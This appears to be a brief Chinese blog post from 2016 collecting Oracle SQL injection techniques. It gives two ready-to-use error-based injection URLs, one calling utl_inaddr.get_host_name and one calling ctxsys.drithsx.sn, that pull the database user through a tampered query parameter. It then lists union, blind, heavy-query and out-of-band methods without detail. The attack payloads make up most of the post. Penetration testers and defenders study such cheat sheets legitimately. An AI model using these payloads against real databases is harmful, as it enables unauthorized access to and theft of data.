Oracle 注入技巧收集

---恢复内容开始---

一、报错注入

(1)爆用户名(适用于:Oracle8,9和10g):

http://192.168.2.10/ora2.php?name=1' and 1=utl_inaddr.get_host_name((select user from dual))--

(2)基于报错注入(适用于Oracle 11g)取信息:

ctxsys.drithsx.sn(1,(SQL语句))

例如:

http://192.168.2.10/ora1.php?name=' and 1 = ctxsys.drithsx.sn(1,(select user from dual))--

二、无报错信息

可通过以下几种方式来实现提取数据:

  (1)联合查询;

  (2)盲注;

  (3)Heavy Queries

  (4)Out Of Band Channels(带外通道)

 

---恢复内容结束---

posted @ 2016-05-30 20:50  webappsec93  阅读(486)  评论(0编辑  收藏  举报